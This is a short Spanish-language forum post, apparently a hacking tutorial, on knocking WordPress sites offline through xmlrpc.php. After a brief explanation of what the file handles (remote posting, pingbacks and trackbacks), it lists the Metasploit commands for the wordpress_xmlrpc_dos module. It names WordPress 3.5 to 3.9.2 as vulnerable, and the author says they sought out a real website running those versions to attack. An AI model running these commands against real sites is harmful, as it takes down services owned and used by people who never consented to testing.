DoS en Wordpress con xmlrpc.php

Que hay chicos les traigo este peque tuto

xmlrpc.php para que sirve?

Xmlrpc.php es el encargado de permitirnos postear remotamente a través de Microsoft Word, Textmate, Thunderbird, smartphones, entre otros clientes. Todo ello a través del protocolo XML-RPC.


Además será quien se encargue de recibir los pingbacks (enlaces de otros blogs hacía alguno de nuestros artículos) y enviar los trackbacks (enlaces de nuestro blog hacía artículos de otro blog).

Bueno ya la vulne de xmlrpc me la tope hace mucho tiempo (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta)
este archivo se usa para realizar un poderoso ataque Dos, en donde el amigo metasploit ya hizo su trabajo

msf > use auxiliary/dos/http/wordpress_xmlrpc_dos      
msf auxiliary(wordpress_xmlrpc_dos) > show actions            
...actions...
msf auxiliary(wordpress_xmlrpc_dos) > set ACTION <action-name>      
msf auxiliary(wordpress_xmlrpc_dos) > show options            
...show and set options...
msf auxiliary(wordpress_xmlrpc_dos) > run

Yo busque un website con wp versiones vulnerables: 3.5 - 3.9.2